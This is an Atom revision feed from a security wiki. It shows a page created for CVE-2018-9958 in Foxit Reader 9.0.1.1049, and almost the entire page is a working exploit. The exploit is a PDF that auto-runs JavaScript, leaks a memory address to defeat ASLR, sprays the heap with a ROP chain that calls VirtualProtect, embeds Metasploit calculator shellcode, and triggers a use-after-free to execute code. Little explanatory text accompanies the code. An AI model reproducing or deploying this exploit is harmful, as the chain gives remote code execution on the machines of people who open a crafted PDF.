<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2018-9958_Foxit_Reader_9.0.1.1049_%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2018-9958 Foxit Reader 9.0.1.1049 緩衝區溢出漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2018-9958_Foxit_Reader_9.0.1.1049_%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2018-9958_Foxit_Reader_9.0.1.1049_%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-07T20:11:20Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2018-9958_Foxit_Reader_9.0.1.1049_%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;diff=1514&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; %PDF  1 0 obj &lt;&lt;/Pages 1 0 R /OpenAction 2 0 R&gt;&gt;  2 0 obj &lt;&lt;/S /JavaScript /JS ( /* #----------------------------------------------------------------------------...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2018-9958_Foxit_Reader_9.0.1.1049_%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;diff=1514&amp;oldid=prev"/>
		<updated>2021-04-11T01:28:07Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; %PDF  1 0 obj &amp;lt;&amp;lt;/Pages 1 0 R /OpenAction 2 0 R&amp;gt;&amp;gt;  2 0 obj &amp;lt;&amp;lt;/S /JavaScript /JS ( /* #----------------------------------------------------------------------------...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
%PDF &lt;br /&gt;
1 0 obj&lt;br /&gt;
&amp;lt;&amp;lt;/Pages 1 0 R /OpenAction 2 0 R&amp;gt;&amp;gt; &lt;br /&gt;
2 0 obj&lt;br /&gt;
&amp;lt;&amp;lt;/S /JavaScript /JS (&lt;br /&gt;
/*&lt;br /&gt;
#---------------------------------------------------------------------------------------------------#&lt;br /&gt;
# Exploit Title   : Foxit Reader RCE with DEP bypass on Heap with shellcode                         #&lt;br /&gt;
# Date            : 08/04/2018 (4 Aug)                                                              #&lt;br /&gt;
# Exploit Author  : Manoj Ahuje                                                                     #&lt;br /&gt;
# Tested on       : Windows 7 Pro (x32)                                                             #&lt;br /&gt;
# Software Link   : https://www.foxitsoftware.com/downloads/latest.php?product=Foxit-Reader&amp;amp;platform=Windows&amp;amp;version=9.0.1.1049&amp;amp;package_type=exe&amp;amp;language=English&lt;br /&gt;
# Version         : Foxit Reader 9.0.1.1049                                                         #&lt;br /&gt;
# CVE             : CVE-2018-9958, CVE-2018-9948                                                    #&lt;br /&gt;
# Credits to &amp;quot;Mr_Me&amp;quot; for Reseach and initial exploit                                                #&lt;br /&gt;
#---------------------------------------------------------------------------------------------------#&lt;br /&gt;
*/&lt;br /&gt;
var heap_ptr  = 0;&lt;br /&gt;
var foxit_base = 0;&lt;br /&gt;
&lt;br /&gt;
function heap_spray(size){&lt;br /&gt;
    var arr = new Array(size);&lt;br /&gt;
    for (var i = 0; i &amp;lt; arr.length; i++) {&lt;br /&gt;
    &lt;br /&gt;
        // re-claim and stack pivot-0x8&lt;br /&gt;
        arr[i] = new ArrayBuffer(0x10000-0x8);//0xFFF8&lt;br /&gt;
        var claimed = new Int32Array(arr[i]);&lt;br /&gt;
        var c_length = claimed.length;&lt;br /&gt;
   &lt;br /&gt;
/* custom made ROP chain virtualalloc call&lt;br /&gt;
   Author: Manoj Ahuje  */&lt;br /&gt;
	    &lt;br /&gt;
	claimed[0x00] = foxit_base + 0x01A65184; //# PUSH EAX # POP ESP # POP EDI # POP ESI # POP EBX # POP EBP # RETN&lt;br /&gt;
	claimed[0x01] = foxit_base + 0x01A65184;&lt;br /&gt;
	claimed[0x02] = foxit_base + 0x01A65184;&lt;br /&gt;
	claimed[0x03] = foxit_base + 0x01A65184;&lt;br /&gt;
    claimed[0x04] = foxit_base + 0x14f9195;  // # POP EBX # RETN&lt;br /&gt;
    claimed[0x05] = foxit_base + 0x41414141; // &lt;br /&gt;
	claimed[0x06] = foxit_base + 0x1f224fc;  // # ptr to &amp;amp;VirtualProtect()&lt;br /&gt;
        claimed[0x07] = foxit_base + 0x0e70281;  // # MOV ESI,DWORD PTR DS:[EBX] # RETN &lt;br /&gt;
        claimed[0x08] = foxit_base + 0x1582698;  // # POP EBP # RETN &lt;br /&gt;
        claimed[0x09] = foxit_base + 0xa0dbd;    // # &amp;amp; jmp esp &lt;br /&gt;
        claimed[0x0a] = foxit_base + 0x14ed06d;  // # POP EBX # RETN  &lt;br /&gt;
        claimed[0x0b] = 0x00000201;              // # 0x00000201-&amp;gt; ebx&lt;br /&gt;
        claimed[0x0c] = foxit_base + 0x1e62f7e;  // # POP EDX # RETN  &lt;br /&gt;
        claimed[0x0d] = 0x00000040;              // # 0x00000040-&amp;gt; edx&lt;br /&gt;
        claimed[0x0e] = foxit_base + 0x1ec06a9;  // # POP ECX # RETN &lt;br /&gt;
        claimed[0x0f] = foxit_base + 0x29bac74;  // # &amp;amp;Writable location &lt;br /&gt;
        claimed[0x10] = foxit_base + 0xb971f;    // # POP EDI # RETN  &lt;br /&gt;
        claimed[0x11] = foxit_base + 0x177769e;  // # RETN (ROP NOP) &lt;br /&gt;
        claimed[0x12] = foxit_base + 0x1A89808;  // # POP EAX # RETN &lt;br /&gt;
        claimed[0x13] = 0x90909090;              // # nop&lt;br /&gt;
        claimed[0x14] = foxit_base + 0x129d4f0;  // # PUSHAD # RETN  &lt;br /&gt;
	claimed[0x15] = 0x90909090;&lt;br /&gt;
	claimed[0x16] = 0x90909090;&lt;br /&gt;
	claimed[0x17] = 0x90909090;&lt;br /&gt;
	claimed[0x18] = 0x90909090;&lt;br /&gt;
	claimed[0x19] = 0x90909090;&lt;br /&gt;
	claimed[0x1a] = 0x90909090;&lt;br /&gt;
	    &lt;br /&gt;
//regular CALCULATOR shellcode from msf&lt;br /&gt;
	    &lt;br /&gt;
        claimed[0x1b] = 0xe5d9e389;&lt;br /&gt;
        claimed[0x1c] = 0x5af473d9;&lt;br /&gt;
        claimed[0x1d] = 0x4a4a4a4a;&lt;br /&gt;
        claimed[0x1e] = 0x4a4a4a4a;&lt;br /&gt;
        claimed[0x1f] = 0x434a4a4a;&lt;br /&gt;
        claimed[0x20] = 0x43434343;&lt;br /&gt;
        claimed[0x21] = 0x59523743;&lt;br /&gt;
        claimed[0x22] = 0x5058416a;&lt;br /&gt;
        claimed[0x23] = 0x41304130;&lt;br /&gt;
        claimed[0x24] = 0x5141416b;&lt;br /&gt;
        claimed[0x25] = 0x32424132;&lt;br /&gt;
        claimed[0x26] = 0x42304242;&lt;br /&gt;
        claimed[0x27] = 0x58424142;&lt;br /&gt;
        claimed[0x28] = 0x42413850;&lt;br /&gt;
        claimed[0x29] = 0x49494a75;&lt;br /&gt;
        claimed[0x2a] = 0x4e586b6c;&lt;br /&gt;
        claimed[0x2b] = 0x57306362;&lt;br /&gt;
        claimed[0x2c] = 0x53707770;&lt;br /&gt;
        claimed[0x2d] = 0x6b696e50;&lt;br /&gt;
        claimed[0x2e] = 0x39716455;&lt;br /&gt;
        claimed[0x2f] = 0x6e645050;&lt;br /&gt;
        claimed[0x30] = 0x6470426b;&lt;br /&gt;
        claimed[0x31] = 0x434b6c70;&lt;br /&gt;
        claimed[0x32] = 0x6e6c3662;&lt;br /&gt;
        claimed[0x33] = 0x7562436b;&lt;br /&gt;
        claimed[0x34] = 0x526b6e44;&lt;br /&gt;
        claimed[0x35] = 0x46686452;&lt;br /&gt;
        claimed[0x36] = 0x5037386f;&lt;br /&gt;
        claimed[0x37] = 0x6446764a;&lt;br /&gt;
        claimed[0x38] = 0x4e4f4b71;&lt;br /&gt;
        claimed[0x39] = 0x354c774c;&lt;br /&gt;
        claimed[0x3a] = 0x776c6131;&lt;br /&gt;
        claimed[0x3b] = 0x374c7672;&lt;br /&gt;
        claimed[0x3c] = 0x5a614a50;&lt;br /&gt;
        claimed[0x3d] = 0x374d746f;&lt;br /&gt;
        claimed[0x3e] = 0x38573971;&lt;br /&gt;
        claimed[0x3f] = 0x30525a62;&lt;br /&gt;
        claimed[0x40] = 0x6e376652;&lt;br /&gt;
        claimed[0x41] = 0x6252506b;&lt;br /&gt;
        claimed[0x42] = 0x624b6c30;&lt;br /&gt;
        claimed[0x43] = 0x6c4c576a;&lt;br /&gt;
        claimed[0x44] = 0x476c524b;&lt;br /&gt;
        claimed[0x45] = 0x6d387461;&lt;br /&gt;
        claimed[0x46] = 0x43587133;&lt;br /&gt;
        claimed[0x47] = 0x50513831;&lt;br /&gt;
        claimed[0x48] = 0x334b6c51;&lt;br /&gt;
        claimed[0x49] = 0x35506769;&lt;br /&gt;
        claimed[0x4a] = 0x6e534851;&lt;br /&gt;
        claimed[0x4b] = 0x7539576b;&lt;br /&gt;
        claimed[0x4c] = 0x54736948;&lt;br /&gt;
        claimed[0x4d] = 0x4e79637a;&lt;br /&gt;
        claimed[0x4e] = 0x6c64356b;&lt;br /&gt;
        claimed[0x4f] = 0x6a51354b;&lt;br /&gt;
        claimed[0x50] = 0x39514676;&lt;br /&gt;
        claimed[0x51] = 0x6f4c6e6f;&lt;br /&gt;
        claimed[0x52] = 0x444f4831;&lt;br /&gt;
        claimed[0x53] = 0x4861364d;&lt;br /&gt;
        claimed[0x54] = 0x6b783447;&lt;br /&gt;
        claimed[0x55] = 0x69357450;&lt;br /&gt;
        claimed[0x56] = 0x73337366;&lt;br /&gt;
        claimed[0x57] = 0x5568494d;&lt;br /&gt;
        claimed[0x58] = 0x474d436b;&lt;br /&gt;
        claimed[0x59] = 0x68357454;&lt;br /&gt;
        claimed[0x5a] = 0x4e686364;&lt;br /&gt;
        claimed[0x5b] = 0x6638466b;&lt;br /&gt;
        claimed[0x5c] = 0x59313344;&lt;br /&gt;
        claimed[0x5d] = 0x6c766143;&lt;br /&gt;
        claimed[0x5e] = 0x506c664b;&lt;br /&gt;
        claimed[0x5f] = 0x504b4c4b;&lt;br /&gt;
        claimed[0x60] = 0x656c4758;&lt;br /&gt;
        claimed[0x61] = 0x6c436951;&lt;br /&gt;
        claimed[0x62] = 0x6e34634b;&lt;br /&gt;
        claimed[0x63] = 0x6831436b;&lt;br /&gt;
        claimed[0x64] = 0x61694e50;&lt;br /&gt;
        claimed[0x65] = 0x65746554;&lt;br /&gt;
        claimed[0x66] = 0x514b5174;&lt;br /&gt;
        claimed[0x67] = 0x7351734b;&lt;br /&gt;
        claimed[0x68] = 0x427a6269;&lt;br /&gt;
        claimed[0x69] = 0x396f6971;&lt;br /&gt;
        claimed[0x6a] = 0x734f5170;&lt;br /&gt;
        claimed[0x6b] = 0x4e6a436f;&lt;br /&gt;
        claimed[0x6c] = 0x7832526b;&lt;br /&gt;
        claimed[0x6d] = 0x316d4e6b;&lt;br /&gt;
        claimed[0x6e] = 0x675a534d;&lt;br /&gt;
        claimed[0x6f] = 0x4f4d6c71;&lt;br /&gt;
        claimed[0x70] = 0x57324875;&lt;br /&gt;
        claimed[0x71] = 0x43707770;&lt;br /&gt;
        claimed[0x72] = 0x61306630;&lt;br /&gt;
        claimed[0x73] = 0x6e514678;&lt;br /&gt;
        claimed[0x74] = 0x6e6f706b;&lt;br /&gt;
        claimed[0x75] = 0x6b6f5967;&lt;br /&gt;
        claimed[0x76] = 0x784b4f65;&lt;br /&gt;
        claimed[0x77] = 0x39656d70;&lt;br /&gt;
        claimed[0x78] = 0x73565032;&lt;br /&gt;
        claimed[0x79] = 0x6c666c58;&lt;br /&gt;
        claimed[0x7a] = 0x6d6d4d55;&lt;br /&gt;
        claimed[0x7b] = 0x496f494d;&lt;br /&gt;
        claimed[0x7c] = 0x456c6545;&lt;br /&gt;
        claimed[0x7d] = 0x454c7356;&lt;br /&gt;
        claimed[0x7e] = 0x6b306b5a;&lt;br /&gt;
        claimed[0x7f] = 0x5370394b;&lt;br /&gt;
        claimed[0x80] = 0x4d453445;&lt;br /&gt;
        claimed[0x81] = 0x6567426b;&lt;br /&gt;
        claimed[0x82] = 0x70426343;&lt;br /&gt;
        claimed[0x83] = 0x376a506f;&lt;br /&gt;
        claimed[0x84] = 0x6b336670;&lt;br /&gt;
        claimed[0x85] = 0x3045694f;&lt;br /&gt;
        claimed[0x86] = 0x72313563;&lt;br /&gt;
        claimed[0x87] = 0x7633654c;&lt;br /&gt;
        claimed[0x88] = 0x4235754e;&lt;br /&gt;
        claimed[0x89] = 0x67354558;&lt;br /&gt;
        claimed[0x8a] = 0x00414170;&lt;br /&gt;
&lt;br /&gt;
        for (var j = 0x8b; j &amp;lt; c_length; j++) {&lt;br /&gt;
            claimed[j] = 0x6d616e6a;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function leak(){&lt;br /&gt;
    /*&lt;br /&gt;
        Foxit Reader Typed Array Uninitialized Pointer Information Disclosure Vulnerability&lt;br /&gt;
        ZDI-CAN-5380 / ZDI-18-332 / CVE-2018-9948&lt;br /&gt;
        Found By: bit from meepwn team&lt;br /&gt;
    */&lt;br /&gt;
&lt;br /&gt;
    // alloc&lt;br /&gt;
    var a = this.addAnnot({type: &amp;quot;Text&amp;quot;});&lt;br /&gt;
&lt;br /&gt;
    // free&lt;br /&gt;
    a.destroy();&lt;br /&gt;
&lt;br /&gt;
    // reclaim&lt;br /&gt;
    var test = new ArrayBuffer(0x60);&lt;br /&gt;
    var stolen = new Int32Array(test);&lt;br /&gt;
&lt;br /&gt;
    // leak the vftable&lt;br /&gt;
    var leaked = stolen[0] &amp;amp; 0xffff0000;&lt;br /&gt;
&lt;br /&gt;
    // a hard coded offset to FoxitReader.exe base v9.0.1.1049 (sha1: a01a5bde0699abda8294d73544a1ec6b4115fa68)&lt;br /&gt;
    foxit_base = leaked-0x01f50000;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function reclaim(){&lt;br /&gt;
&lt;br /&gt;
    var arr = new Array(0x10);&lt;br /&gt;
    for (var i = 0; i &amp;lt; arr.length; i++) {&lt;br /&gt;
        arr[i] = new ArrayBuffer(0x60);&lt;br /&gt;
        var rop = new Int32Array(arr[i]);&lt;br /&gt;
		&lt;br /&gt;
        rop[0x00] = 0x11000048;&lt;br /&gt;
        &lt;br /&gt;
        for (var j = 0x01; j &amp;lt; rop.length; j++) {&lt;br /&gt;
            rop[j] = 0x71727374;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function trigger_uaf(){&lt;br /&gt;
    /*&lt;br /&gt;
        Foxit Reader Text Annotations point Use-After-Free Remote Code Execution Vulnerability&lt;br /&gt;
        ZDI-CAN-5620 / ZDI-18-342 / CVE-2018-9958&lt;br /&gt;
        Found By: Steven Seeley (mr_me) of Source Incite&lt;br /&gt;
    */&lt;br /&gt;
&lt;br /&gt;
    var that = this;&lt;br /&gt;
    var a = this.addAnnot({type:&amp;quot;Text&amp;quot;, page: 0, name:&amp;quot;uaf&amp;quot;});&lt;br /&gt;
    var arr = [1];&lt;br /&gt;
    Object.defineProperties(arr,{&lt;br /&gt;
        &amp;quot;0&amp;quot;:{ &lt;br /&gt;
            get: function () {&lt;br /&gt;
&lt;br /&gt;
                // free&lt;br /&gt;
                that.getAnnot(0, &amp;quot;uaf&amp;quot;).destroy();&lt;br /&gt;
&lt;br /&gt;
                // reclaim freed memory&lt;br /&gt;
                reclaim();&lt;br /&gt;
                return 1; &lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    });&lt;br /&gt;
    a.point = arr;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
leak();&lt;br /&gt;
heap_spray(0x1000);&lt;br /&gt;
&lt;br /&gt;
trigger_uaf();&lt;br /&gt;
&lt;br /&gt;
)&amp;gt;&amp;gt; trailer &amp;lt;&amp;lt;/Root 1 0 R&amp;gt;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>